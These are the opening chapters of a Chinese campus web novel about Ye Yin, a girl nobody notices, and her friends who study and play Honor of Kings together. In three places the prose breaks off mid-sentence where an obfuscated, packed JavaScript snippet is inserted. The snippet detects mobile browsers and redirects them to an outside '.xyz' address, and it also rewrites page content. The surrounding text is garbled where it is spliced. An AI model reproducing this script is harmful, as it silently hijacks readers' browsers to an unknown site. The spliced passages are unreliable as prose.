《发小是个透明人[校园]》 1. 透明人 “妈,你们给我留饭了吗?” 叶吟一手披上校服,一边夹着手机打电话。 “……噢,没事,”她动作一顿,然后习以为常地说,“我路边摊买点就行。” “……我坐地铁去吧。” “杨星当时提议一起走的时候,你们说要送我,”叶吟低头换鞋,“现在这个点儿他应该走了。” “……没事。” 妈妈不会开车,所以爸爸每天上班都要先送她,再自己去。本来今天说加个顺路的闺女,结果俩人都没想起来。 叶吟放下手机,叹了口气。 ——被爸妈落下什么的,习惯了。 一路匆忙,叶吟卡点走进教室,视线掠过乌压压聚成几堆的男生,看到有位趴桌的女同学旁还空着。 叶吟不声不响地坐了过去,鼻子里挤进一点若有若无的香水味,她迟疑了一下,没打招呼。 ——反正就算自我介绍,对方也不一定记得住。 老师还没到,班里一片嘈杂。一个男同学蹭到叶吟旁边,自以为很帅地手往桌子上一撑,张嘴就跟趴着的女同学搭话。 “同学,我刚在那边就注意到你了……” 女同学终于舍得从臂弯里抬起头来,叶吟眼神一动。 ——好漂亮的女生。 但如果搭讪行为能别波及我就好了。 叶吟心中微叹,推开半个身子都压到她头上的男生,客客气气地开口:“同学,你压到我了。” 当了十多年的透明人,叶吟深谙此光环的鸡肋效果,无非是在各种情况下被人无视、被人遗忘、被无意识排挤、被记不住名字……对现在的她来说几乎是不痛不痒。 她个子高,站起来比男生还高出一个头顶。此时薄薄的眼皮一掀,平淡的五官就带了点侵略感。 ——没办法,不张扬一点,对方根本注意不到她说话。 男生被她旱地拔葱般的出现吓了一跳,肉眼可见地往后一缩,语无伦次地说:“你,你从哪,你刚刚……” 在叶吟耐心的等待中,男生好歹缓过了心悸,撑出一套有点勉强的微笑:“啧,算了,不好意思啊。” “没事。”叶吟已经数不清自己今天说了多少遍“没事”。 男生被她这一打断,续不上搭讪的话题,只好一步三回头地回座位了。 他刚坐回那男生堆里,旁边人一脸挤兑:“哥们儿失败了?” “哎,还不是……”他张嘴一瞬间,突然就想不起来自己是怎么失败的了。 “怪丢面子的,没啥好说,是吧?”另一人贴心地帮他打哈哈,于是男生也借坡下驴,连带着最后一点介怀都散了。 搭讪嘛,失败也正常。他只这么想了一下,就把最后一点疑惑抛之脑后。 叶吟没关注他们这边,而且就算关注了,她也不会意外。 曾经的幼儿园同学叫叶吟透明人,她还挺高兴,因为大家经常互叫昵称,而这是她的第一个绰号。 结果第二天,起外号的小孩就把这事儿忘了,此后再没提过。正读大班的叶吟小朋友难过了一会儿,安慰自己说:没事,毕竟我是透明人。 后来这个认知一存就是好多年。透明人嘛,大家看不见,正常。 不太正常的,是现在这个情况。 美女同学目击了一切发生,然后若有所思地盯着叶吟看了好半天,盯到叶吟终于忍不住偏过头跟她对视:“同学,有事吗?” “你叫什么?” 这么直接? 叶吟不自在地眨了下眼睛:“叶吟。” “李校花,”李校花点点头,“我。” 叶吟:……好吧,她确实配得上。 “很高兴认识你。”她说。 李校花依旧是那副发现新大陆的模样,她摸着下巴,自以为毫不引人注意地观察着这位同桌。 被盯到正襟危坐的叶吟:……我该表示一下吗? 终于,班主任拿着花名册出现,解救了头皮发麻的叶吟。他带着半公分厚的眼镜,用手指头一个一个戳过去,还是漏过了7号的叶吟,直到点出“李小花”这个名字,叶吟的同桌捂着脸举了举手。 叶吟:……谐音梗扣钱。 * 李校花不喜欢“李小花”这个土土的名字,也不喜欢“脸在江山在”这个标签。从开学第二天开始,每次遇到其他班男同学问她叫什么,她都会答:“我叫叶吟。” 然后对方就会说:“哇,好好听的名字。” 于是透明人光环光荣折损一半,因为脸红的男同学一部分会自然而然把“叶吟”这个名字抛之脑后,还有一部分会鼓起勇气给“叶吟”写情书。 最后情书就会到达真·叶吟手里。 高一第一个星期,叶吟收了六封情书,每封上面开头都写着:“xx的叶吟”。 ——xx不是骂人,是填词留白。 叶吟作为李校花的接水吃饭上厕所搭子,是她每次“犯罪现场”的目击人和知情人。想起李校花被搭讪时杀人一样的表情,她没拒绝,只当替人挡桃花积德了。 但她还是问了一句,结果李校花狐狸眼一斜:“我看不得朋友被当边缘人,所以给你找了点事做。这叫融入群体,你懂吧。” 太融入了。 简直是毫无破绽的移花接木。 每个送情书的男同学,都会在班门口羞涩地说出那句命中注定的错误台词:“我想找叶吟。” 然后就会看到一个短发不过肩、眼下带点青黑、整个人细条高挑的女生面无表情地出现。她礼貌道谢,说自己是“叶吟”,然后取走他的一片少男心事。 叶吟把新收的情书边缘捏平整,再塞回李校花的桌洞里。她沉默半晌,还是没忍住:“其实当边缘人挺好的,至少不欠情债。” 李校花噗嗤一下:“哈哈哈哈哈哈哈!” 等她笑够了,抹掉眼角笑出的眼泪,这才坦白:“开学那天老班让写心愿纸,一不小心看见了你的,我当时就想,哎,这人可真有意思。” 心愿纸这活动有些过时了,学生里不以为意的多,叶吟也是随手写的——“想被人看见。” 她心中一动,李校花却相当自信地说:“你有我这么光彩夺目的同桌,注定当不了边缘人了,死心吧。” 叶吟看着她,想到某种把自己养得油光水滑、翘着尾巴耀武扬威的狸花猫。她摇摇头,瞄了眼李校花的玻璃杯,自己去接水了。 走廊里看到同样细高一条的竹马迎面走来,二人即将错身的时候,叶吟面无表情地把杯子换了只手,用右手肘狠狠怼了他一下。 “哎哟!好巧!” 杨星这才挂起一套嘻嘻笑脸:“又没看到你,我真服了。” “星哥?”走着走着突然停下,刘胖有些不明所以。 叶吟习以为常地等着杨星把人打发离开,自己一声不吭地装成一棵沉默的树,直到被杨星戳了一下:“喂,回神,人走了。” 高中,春心萌动的好年纪。 可惜此二人站一起凑不出半点旖旎,嘴巴一张,就是熟悉的对抗。 “你是不是又长高了?”叶吟打量他半天。 “承让,刚破176,”杨星贱兮兮地抱了个拳,“入学体检我们174打平,现在我已士别三日怒长两公分。” 叶吟想不通:“暑假吃了什么十全大补丹?” “nonono,量变引起质变,”杨星说,“是你初中关注我太少。” 叶吟挑眉:“一米四儿童票能买到上初中、初二被五年级小学生当学弟、老师私下里叫小豆丁……呀,怎么还变脸的?” 杨星差点上手:“喂!你小声点!” 叶吟:“那是谁刚刚没看见我?谁不占理?嗯?” 杨星挪开目光:“咦,天气真好,太阳真大……哎,你不是要接水来着,快去快去,慢走慢走。” 叶吟:人要脸树要皮,哥们儿。 几天后,叶吟又在自己班门口见到杨星,后者态度却少见地不太爽利,有些踌躇不前的模样。 “咋了?” “你那个同桌,啧,”杨星摸了摸下巴,“确实挺好看哈,她叫啥?” 他没揭刘胖的老底儿,过来这么看了一眼,立刻觉得那傻孩子初恋怕是要夭折。 李校花从教室里绕了一圈,神不知鬼不觉地站到二人旁边,撩了下头发说:“我叫叶吟。” 叶吟:大小姐想演,她能咋办? “对,她叫叶吟。”她说。 杨星看看这个又看看那个,然后问叶吟:“那你叫啥?” 叶吟看向李校花:你说。 李校花眼神乱飘:你说。 叶吟指了指自己:我是你? 李校花扭开了头。 于是叶吟用古井无波的语气说:“我是李小花。” 李校花愤愤:“还不如李校花呢!” 她毫不心虚,把这外号直接当了真名号。 “李校花。”杨星笑眯眯地接过话头,眼神在这两人身上一转。 后来,刘胖果然很快死心,他试都没试,直接不提了。 反倒是杨星,不知道抱着什么心思,混入了李校花庞大的追求者队伍。 他相当“遵守规则”地用校门口小卖部两块钱一张的粉色信封写情书,信纸开头是“xx的叶吟”。 且,这个xx是真的写了两个叉。 这封情书让李校花笑了一中午,花枝乱颤到西风残满地伤你的笑容已泛黄,最后,她大发慈悲地把信送给了叶吟本人。 “我怀疑他是在拐着弯骂你,这情书内容也不知道从谁的企鹅空间抄的,酸死我了,一点都不走心。” 叶吟拜读了一遍,表情有些扭曲地说:“我也觉得。” 于是,叶吟周末直接怼到他家里,捏着那封情书:“杨星,你没事吧?” 杨星正在打游戏,头也不抬地说:“你没事吧~没事吧~” 叶吟看他手机一眼:“你1v1队友4v4,打了八分钟一看参团0%。” 杨星的达摩飞起一脚,把对手花木兰踹上墙,他嘴不停说:“那咋了,你管我呢,我就爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566727|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对抗。” 叶吟把情书一拍:“阿姨,杨星给同学写唔唔唔唔!” 她差点被杨星一只手捂死,余光看到达摩尸体躺在地上,对面的花木兰在狂点回城嘲讽。 “鱼死网破?我可是写给你的,要死也是一换一!”杨星藏起手机,恶狠狠地说。 可惜他的嘴炮连叶吟血皮都刮不掉。“赶紧投降,”她拍掉他的手,一边掏出手机,“下把我们铁血双排。” 铁血双排组连掉五颗星,叶吟面无表情地把王者农药卸载了。 * 杨星对校花的特别关注一直持续到期中成绩发下来。 他看似啥事没有,但有天刘胖跟叶吟夹道相逢,后者拍他一下,多问了一句。 刘胖刚没注意到她,心虚地卖友求荣:“星哥作文没写,被他妈狠揍一顿,让我别跟别人说。” 叶吟点点头表示会保密:“英语还是语文?” “both!”刘胖拽了一句英语。 “那他确实挺行的。”叶吟淡淡地说,认为杨星最近行事有些嚣张,挨顿揍很对。 他喜欢李校花吗他就追?初中道法书就说了:盲目从众不可取。 叶吟有八成把握,杨星就是凑热闹。 剩下两成是他真铁树开花,但她想象不出来。好在这事虎头蛇尾地结束了,于是也没人再提。 叶吟本人的期中成绩依然中不溜秋,她自认深谙中庸之道。但,李校花考了班里第三。 校花家里执行自由放养政策,她考美了,换了一套延长甲,还烫了个头发,结果第二天就被老班勒令拉直并卸掉甲片。 然后她顶着一头正常的黑长直,神神秘秘地跟叶吟说这个叫茶色。 ——主打一个我行我素。 叶吟决定住校,因为老班说中不溜秋的成绩在这个goddamn高考大省,以后可能会没有本科上。 李校花提议:“不如我们合租?” 她在学校外五百米租了房子。 叶吟即答:“咱俩住一起只会熬夜双排。” 她办了住宿,一个人拎着大包小包,撞上了同病相怜的杨星,后者是被爸妈强制要求来的。 “你也进来了啊。” “你也是啊。” 杨星忍不住笑了,露出一口白牙。他刚要开口,李校花直奔叶吟而来:“拎行李不叫我?我帮你啊。” 叶吟看着矮自己半个头的李校花,怜爱地把人推开了:“歇着吧校花,我自己就行。” 杨星:“怎么不帮我?” 李校花冷笑:“我帮你抓,你下波兵线得上供。” 三人以叶吟为中间人,不是冤家不聚头,相遇在最爱玩的年纪,又有共同的爱好打游戏,玩着玩着熟了起来——众所周知,王者农药是一款社交游戏。 杨星悻悻:“跟土匪打野没有话讲。” 李校花摇摇头:“我要去食堂占位置了,你吃啥?” 杨星刚要开口,李校花及时补刀:“男的自己玩去。” 叶吟眼睛一亮:“我想吃酸辣粉。” “不能吃辣还吃酸辣粉,吃死你。”杨星念咒一样说。 叶吟一直以为李校花是因为跟自己同桌,所以才不被透明人光环影响的。没想到转过年、第二个学期开学,老班就给所有人调了位置。 她俩一个天南一个地北,仿佛牛女织女,隔教室相望。 李校花举手反抗:“老师,这不公平。” 老班推了推老花镜,和蔼地说:“我让前十名同学挑同桌,李小花,需要我提醒吗?你上个期末考了十七名,进步了负十四名。” ——只比稳定中游的叶吟高了三名。 老班话里带着杀意,李校花如同被抽了骨头一样,立刻就矮下去了。 叶吟也属于被安排的那部分,她闻惯了李校花身上淡淡的香水味,有点不习惯桌边人沉默寡言但上课打游戏、下课打游戏、课间打游戏的日子。 她想:李校花应该很快就会把我忘了吧。 她闷了一下午,直到晚饭,李校花跨越了一整个教室,敲了敲她的桌子:“喂,今天还吃酸辣粉吗?” 叶吟懵懵地抬头,仿佛看到了神女下凡。 她的新同桌被吓了一跳,他收起手机,看了眼李校花,又小心翼翼地转向叶吟:“那个,不好意思,你是……?” ——叶吟摸索出的透明人设定第一条:记住名字能有效提升打破透明人光环的概率。反之则更难注意到透明人存在。 李校花对这个场面见怪不怪,叶吟耐着性子再次自我介绍:“我是叶吟。” 当天晚自习开始前,新同桌把亮着屏的手机郑重地交给了叶吟:“叶吟,帮我打完这把行吗?晚上手机放桌洞就行。我妈在校门口等我,但我信誉分不够扣了。” 最后他挠了挠脑袋,又补了一句:“我记住了,你叫叶吟。然后那个,我叫李沫。” 叶吟肃然起敬:真是有眼不识泰山!原来是上次期末考试尊贵的倒数第三名! ——后两名缺考,挂了俩零蛋。 2. 五排 很久之后,叶吟自己也承认——那个学期她被李沫带上偏路,超级加倍地玩游戏,确实不应该。 因为李沫不上晚自习也不住校,听说叶吟是王者,就把手机连同账号都交给了她。 “这台机子是我零花钱买的,只放在学校里玩,”李沫有些不好意思地说,“不是顶配,主要是怕被老师没收,你凑合用吧。” 叶吟拿着这台某牌去年的旗舰机,舔了舔后槽牙。 李沫十分真诚:“叶吟,我算了一下,现在刚到赛季中,能不能获得第一个王者印记,就看你的了。” 叶吟顺便看了一眼他的段位——“历史最高:尊贵铂金。” 尊贵的倒数第三,和尊贵铂金段位,相得益彰。 实话说,叶吟很少得人这么看重,于是她“受宠若惊”地拿出了诚意,语气沉重地说:“我明白,交给我。” 她抽空玩,本以为信手拈来,结果等第一个赛季结束,还卡在差一颗星上。 李沫没说什么,但叶吟自觉重任在肩,不能辜负同学期望,于是从新赛季第一天开始就憋了口气,熬夜帮人上分,终于打出了李沫的第一枚王者印记。 渡劫赛是下午第四节课,自习。 一局游戏胶着了快三十分钟,等结算界面的“胜利”一出,李沫几乎要跟叶吟抱头痛哭。 后桌看到门玻璃里教导主任的脸,狠狠地踹了一脚李沫的凳子——这导致他到底没哭出来。 叶吟黑眼圈又重了两分,轻描淡写地表示小事一桩。 然而很快她就轻描淡写不起来了,天降横祸:快要小科合格考了。 祸不单行:合格考之后就是高一期末。 叶吟大半个学期都在峡谷奋战,她白天困得像狗,晚上当游戏匹配机制的狗,总之就是狗了三个多月,眼看狗不住了。 合格考突击结束,她悬着心进了考场,好在难度不大,考后对了对答案,有惊无险。 期末,那就是全面崩盘了。 第一门是数学,卷子发下来第一时间,叶吟一眼扫过选择题题干,轻轻地闭了闭眼。 她想:完了。 连第一题求共轭复根都不知道是啥了。 从数学开始,所有科目稀里哗啦拖泥带水,糟蹋成了一片不抗倒伏的水稻。 考完就要收拾东西准备放暑假,班里一片翻身农奴把歌唱的欢乐气氛,只有叶吟头顶笼罩着无形黑云。 她慢慢地数着课本,李沫在旁边安慰:“没事,不丢人,总有人要考倒数的,根据相对论,没有倒数第一就没有正数第一,而成绩是薛定谔的猫,开盒之前你我皆是黑马……” 叶吟仔细地看了他一眼,李沫立刻做了个给嘴巴拉上拉链的动作。 一小时前、考完最后一门的时候,李校花喊住她,认认真真地说:“李沫家里什么背景你知道吗?他以后出国读大学,不用高考成绩,你也不用?” “有背景”的李沫两眼清澈,叶吟给他打上王者,他就说要给叶吟代打费,一千六百六十六,因为谐音是“你666”。 叶吟看着尊贵的倒数第三——其实现在已经是倒数第二了,因为只有一个长期不来上学的同学象征性地挂了个零蛋——她意识到,李沫其他科都是看老天脸色上两位数,但他的英语,基本次次都是140+。 于是她说:“我不要代打费,你教我学英语吧。” 几天后,成绩下来了。 叶吟硬着头皮把成绩单拿回家,不敢想要面对怎样的疾风骤雨。 二老确实有些怒其不争,但他们情绪来得快、走得也快,本来准备进屋抄家伙的,出来只拿着采购单,面容平静地开门去买菜了。 叶吟攥着卷子,孤零零地站在客厅,听着大门关上的声音,心里一片冰冰凉凉的灯光。 爸爸妈妈,你们看不见吗? …… 为什么,你们一点都不在乎呢? 手机振动,是李校花发的消息问:“挨打了吗?知错了吗?还敢这么玩吗?” 再往上一条,是杨星不伦不类的一句:“允许你抹黑我一次,就说我倒数第五给你垫背(其实差点摸进班前十哈)。” 叶吟咬掉嘴唇上的死皮,等老爸老妈回来,主动申请了一顿竹笋炒肉。 她手心红了,心却安了。 * 打了一个学期王者农药的叶吟终于迷途知返,她考虑了又考虑,在杨星和李校花警惕的眼神下,把李沫拉进了三人的企鹅群。 正式放假第一天,四人在吵吵嚷嚷的肯x基聚头。 “李沫,”叶吟介绍,“李校花、杨星。” “啊,啊,你们好,”李沫搓着手,有些局促的样子,“吃点什么?我请客。” 李校花挑剔地说:“我减肥。” 李沫点头:“冰美式可以吗?我妈说那玩意加快代谢是不是?还有那个玉米棒?叫什么,优质碳水。” 杨星不停按着圆珠笔,发出“咔哒咔哒”的声音:“我不吃鸡肉。” “噢那牛堡可以的,健康!双吉还是和牛?噢不对,双吉是金拱门的。诶,和牛堡也没了,啥时候的事啊?”李沫脑子跟不上嘴,说到哪算哪。 叶吟向两位鼻子不是眼睛的朋友承认错误:“上个学期我被游戏毒害,不是李沫的错,但他也有意悔改,而且比我们三个人C3_2的英语分数之和都高……” “等一下,”李校花皱眉,“我英语考得最差刚80,你们俩多少?” 杨星:“60……” 叶吟:“……63。” 李校花看向李沫:“你呢?” 李沫乖巧回答:“144。” “……淦,”杨星停止按笔,“沫哥,请授我洋人话。” 李校花也不挑剔了,双眼发直:“144,这是人吗?客观题满分?” 叶吟如愿看到被镇住的二人,转向李沫:“总之,我们三个渣渣就拜托你了。” 杨星突然死而复生:“啊对,我数学这次130,还可以,数学有问题可以问我。” 数学125的李校花冷哼一声:“这次数学简单,随便写都能100+。” 12分的李沫胸口中箭。 50分的叶吟挪开视线。 那还能咋办? 学吧! 一场轰轰烈烈的肯x基学习运动拉开了序幕。 * 让倒数的学渣回到中游难不难? 难。 欠了一个学期的知识用一个假期补上难不难? 也难。 叶吟在开学前一星期才开始处理暑假作业,好在加上半途入股的刘胖,五人一起分担,她才没有变成难上加难加难。 ——三种难,怎么看都很难。 最后一次肯x基学习小组活动,五个人抛弃了习题集,开始打王者农药。 李校花:“刘胖你这打野,给你看蓝你还不来打,活该被反。” 刘胖:“我那不是在帮发育路!辅助你别越塔!” 李沫:“噢,噢,我也不知道咋回事,打着打着就去打防御塔了,是不是手机不好用啊?诶,我死了,我咋死的?” 李校花:“孩子们别急,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566728|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我破晓,还差两千,中路兵线给我吃一口。” 叶吟:“给你卡着了,速速。” 刘胖声音突然昂扬:“对抗怎么通关了?拖一拖拖一拖,星哥偷家了!” “他出了一个名刀司命!”他声嘶力竭地喊,“星哥从今天开始你就是我们三中猫泪分泪!” “猫泪分泪”有气无力地说:“怎么只有我一个人顺风,你们怎么打的?” 李校花手机一扔:“刘胖打野不行,我来。” 送塔的李沫以铂金水平混在四个王者中,懵懵懂懂地跟着说:“打野不行。” 刘胖吹胡子瞪眼:“李沫你小子3.8分!你谁也不准说!” 叶吟搁下手机:“唉,本来没准备打游戏的。” 五个人突然就沉默了。 小科六选三的问题摆在几个孩子眼前,像叶吟李校花李沫、刘胖和杨星,以后多半都不会在一个班了。 杨星最先说:“我肯定物化生。刘胖物理不行,是不是准备换地理来着?” 刘胖叹了口气:“我地理也不咋地。” 李校花勾起一缕头发:“不是说物理和历史最好勾一门吗,你要不勾历史?” “我历史更烂。”刘胖感觉到一种淡淡的死志,“校花呢?” “我啊,”李校花勾头发的手指一停,坦然地说,“我想走艺术,但我物理又不错。” 李沫插嘴说:“艺术生好像是全文多一点?” “但我物理不错。”李校花加重语气。 叶吟刚刚一直没说话,等他们沉默才开口:“我是排除法。” “政治不喜欢,地理是玄学,化学老师我不喜欢,”叶吟想起那个讲课念ppt的老头子,叹了口气,“好吧,其实是我化学学得不好。” 李校花厌恶地说:“他有口臭,讲课还喷唾沫。” 叶吟认可点头。 “物生史……什么诡异的组合。”刘胖挠了挠胳膊。 “李沫呢?” “我准备全文,政史地,”李沫表情淡然,“反正要出国,分数也不太重要。” “那你要学雅思托福?”李校花问完就想起他144的惊人战绩,后悔地说,“算了,你用到再考就行。” 五个人分班,竟然可能分到五个班去。离别愁绪悄然感染了每个人,李沫沉痛地发言:“我们再来一把农药吧,我还差一把上王者。” 四双眼睛瞪过来,李沫颇为无辜:“虽然我是铂金水平,但你们确实把我带上来了嘛。” 李校花拍案而起:“我打野,刘胖打射手去!” 刘胖心里晃过李沫上一把的庄周,突然就悟了:“不是我玩得不好,是你不想跟李沫一路!” 李沫热衷于送人头,每次都给对面射手养得很好。我方射手对线压力之大,可想而知。 李校花不听,已经在跟叶吟商量怎么入侵野区了。 刘胖念念叨叨:“叶吟多帮我抓啊,我真不行,对面鲁班起来我们打不了的。” 突然,杨星幽幽地冒出一句:“你记住叶吟名字了?” 从第一天五排开始,刘胖动不动脑子短路,喊人只喊“中单”。大家一起玩了一个暑假,这个习惯不知道什么时候改掉了。 刘胖被他吓得丢了个闪现,下意识抱怨:“干什么,还以为有人抓我。不过确实哎?叶吟来抓,鲁班没闪的。” 叶吟投之以桃报之以李地溜到下路草丛,左手拿起可乐“呼啦呼啦”地吸到杯底,相当宠辱不惊地说:“挺好的。” 杨星表情一变:“对面中单怎么上来了?!!” 3. 第 3 章 最后,李校花还是选择了全文。 她好像也没什么遗憾,只是高二开学第一天的时候,她跟叶吟说:“我有两个梦想,当演员,和……当物理学家。” 叶吟筷子掉到碗里:“啊?” “是的,”李校花深沉地说,“因为我觉得,我还挺聪明的,所以我想当李因斯坦。” 李沫端着空碗路过,耳背一样大声说:“李什么?李斯特?李校花要学钢琴吗?” 叶吟刚把筷子捡出来,左手的勺子又掉进汤里。 李校花白眼翻到天上去:“我们老李家能生出你这样的东西,真是三生有幸、光耀门楣。” 李沫讶然:“语文真不错,应该能考120吧?” ——高一期末的语文,李校花遭遇了她的人生滑铁卢,82分。作文彻底跑题不说,背诵填空每个空都出了点问题,她考前狂背半个月,最后一分没得。 李沫几句话精准踩雷,差点就要挨打。叶吟筷子掉地上了,它往前欢快地弹了几下,被一只手捡起来。 “同学你筷子……” 杨星一抬头,对上了一双腾起杀意的眼睛。 “哎别打别打,不是!我没!啊!嗷嗷嗷嗷!” 刚开学就猛踩雷区的不止李沫,杨星为表歉意请了四个人吃辣条。 辣条吃在嘴里,叶吟连喝三口水,一边走神想:李校花想要成为演员或者物理学家,我想成为什么呢? 想来想去,她发现自己真是当习惯了透明人,连愿望都是透明的,看不清楚。 叶吟看向身边的小伙伴,又释然了:船到桥头自然直,这才高二开学呢。 - 下午分班结果出来了,李沫和李校花都去了全文班,另外三个人一人一个班。 “好消息是,走班的话我们肯定还会见面哒!”五人站在小花园里,杨星闷声运球,刘胖强颜欢笑。 李沫摸了摸胳膊:“不走班也能见,别说得跟天人永别一样嘛。” 李校花站了刘胖:“客观上说,见面成本确实增加了,走班就是好见啊,比如杨星。” 杨星眉头一跳:她是不是在骂我? 李沫想说什么,被瞪了一眼,窝窝囊囊地收声了。 李校花跟李沫仿佛八字不合,叶吟提了提嘴角说:“老李家的家务事儿,让他们自己搞去吧。” “谁跟他/她一家!” 杨星收起篮球,问叶吟:“你还好吗?” 叶吟一愣:“挺好的。” 杨星简单地说:“行。” 插曲很短,叶吟却觉得好像从肺里挤出一口气去。 太矫情了。她想。 刘胖突然想起什么似的,拿出一张宣传页:“三中农药争霸赛,我们要不要报名?比赛在国庆,我们正好五个人,打到哪算哪得了,也不指望能淋金雨。” 宣传页上偷懒印着K*L的银龙奖杯,也不知道校方能不能真搞出来一个。 叶吟接过那张纸,说:“看分班后第一次考试成绩吧,高二开始有月考了。” 她一直很理智,没有感情用事,也没有冲动。 只是,等坐到新的教室,面对着半生不熟的同学、重复了一遍又一遍的“我是叶吟”后,她心中还是生出些久违的麻木和疲惫。 就好像过了一年不透明的生活,她又被重新推回了泡泡里。 可能这就是透明人的宿命吧。 “叶吟?我们班的?……叶吟在哪?有人找!” 时值课间,门口的喊声打断了她的消沉。 叶吟走过去,看杨星站在门口,手里拿着一张小卖部涨价了、现在卖两块五的粉色信封,轻咳一声,装模作样地说:“麻烦帮我交给叶吟同学。” 叶吟笑了下,问:“又是叉叉的叶吟?” 杨星一本正经:“对,给叉叉的叶吟。” 叶吟接过粉色信封,一抬头,却发现杨星已经能挡她的光了,不由奇道:“又长个了?” 杨星挑眉,像是终于等到了这个问题:“不才182,已经是网聊要在句末加括号的程度了。” 叶吟还是感觉不可思议,转念又想,这是一年,从秋再到秋,完完整整地过去了。 她有种微妙的恍然。 情书信封有些尖锐的直角又一次戳破了透明的泡泡,她借着校花的东风,拥有了实体,也拥有了颜色。 不过…… “刘胖都能看到我了,为什么你还是会偶尔无视我?”她口吻犀利地问,“装的?逗我好玩?” 杨星左右顾而言他,脚下缓慢撤退:“哎呀这个,噫吁嚱,不以物喜不以己悲……” 叶吟没拦他,只是等李校花来找她吃饭的时候,掏出了那封粉色信封:“呐,你的。” 李校花大惊:“高一不是在军训吗,还有时间搞这个?哎,这就开始了?” 叶吟木了一下:“……不是,你又报我的名字?” 李校花理所当然:“对呀,我就说,我是高二五班的叶吟学姐。” 叶吟默了默:“你无敌了。” 李校花跟杨星二人心照不宣地开始走流程,叶吟已经预料到,之后会是一场怎样的腥风血雨。 果然,高二第一个月,叶吟再次收获了一堆少男心事。十二封粉色信封,代表着十二个道心破碎的学弟。 要这是个玄幻小说,叶吟好歹是个毁人不倦的魔修。 不过因为这一茬,班上同学稍微能看到叶吟一点了,大概是努力想想能记起这个人的程度,勉强算是好事一桩。 叶吟捏着信封时,有种回到高一的错觉,连带着那些乱七八糟的心情也都被吹散了。 不过又一年罢了。 * 高二的老班换成了个严厉的中年女人,开学第一个月全班腥风血雨,她收走了四部手机、两本杂书、一个MP3、一个kindle。 叶吟也放弃了偷渡手机上学的心,即使她想跟四个朋友淋金雨。 是的,分班摸底考她已经重回巅峰——暨中不溜秋,于是五个人正式报名了农药争霸赛,争夺银龙杯。 叶吟每周一三四五走班上物理,要去杨星他们七班,出于某种不足为外人道也的心理,两个人都没提过坐同桌的事情。 叶吟跟李校花说:“我上物理课犯困,挨着他睡着了能被笑话一年。” 杨星跟刘胖说:“我们俩上课容易唠嗑不听讲,不行。” 两个听众再一对口供,刘胖没什么感觉,倒是李校花轻轻“啧”了一声。 * 周末,肯x基。 刘胖面无血色:“为什么还有复盘……” 李沫主动提供设备支持,李校花以超强执行力兼任了教练一职,他们刚打完一局训练赛——五排,然后正对着平板上的比赛回放,挨个公开处刑。 “射手,”李校花点着三分半还在压塔的孙尚香,“对面蓝开抓下,第二波野这个时间刷完了,还没漏视野,你怎么敢压那么深的?” “我的眼里只有塔……”刘胖缩了缩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566729|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “对抗,一级被单杀,亏中单还帮你抓了一次,守那个一塔跟守自己命根子一样,0-4,给我们送了个爹出来。” 杨星小声争辩:“那不是对面打野来了两次,你一次抓下一次抓中。” 叶吟没忍住开怼:“撤退摁烂了你看不见,就贪兵线是吧。” 李校花赞同地点头:“中单,嗯,没啥问题。开局还帮我守了野区。” “打野,我自己,拼惩没拼过,没抢到龙,但总体说仁尽义尽。” 李沫看她说完了,举手:“教练,我呢?” 李校花关掉平板:“我们有辅助吗?” 叶吟也没想到李校花比她还认真,周六要上晚自习,周日他们就以学习的名义凑到肯x基打游戏,打到头昏眼花。 一个月很快过去了,九月底,月考。 李校花冷漠地说:“考试别想着玩游戏,谁要是浮躁考砸了,谁以后五排带李沫走发育路。” 三个人郑重点头。 只有李沫挠头。 结果等考完试,杨星见到大家的第一句话是:“我好像学号没涂卡。” 刘胖幸灾乐祸:“你完了,你要打发育路了,苍天有眼,我刘胖后继有人啊。” 杨星目光呆滞:“好可怕。” “射辅是这个游戏最亲密的搭档,”李校花把李沫的手郑重交到杨星手中,“保护好他。” 李沫手背被她贴过的地方有点发烫,他没在意,只是相当认真地说:“我会的。” 刘胖笑疯了:“不是,校花说的是他保护你,李沫我真服了,哈哈哈哈哈哈哈!” 杨星面容惨淡:“没事,我可以。” 叶吟同情地拍了拍他的肩膀:“赛后你们就可以开始练习了,射辅同心、其利断金。” 杨星夸张地嚎:“我不要跟他同心啊!我不要啊!你不要过来啊!” 李沫脾气好,这么说他也不生气,摸了摸鼻子还有点不好意思:“哎,我努力。” * 比赛就在三中体育馆举办,条件简陋,设备自备。 国庆期间高中生也要上自习,高三是强制,高二都是自愿。 几个人干脆先上了两天自习,杨星刘胖叶吟三人住校没回家,第三天早上在教室碰头。 “李沫,充电宝,”李校花校服外套披在肩上,颇有大将风范,“要是打到一半手机没电关机了,你得赔我们一人一座奖杯。” “拿了拿了,一手交钱一手交货。” 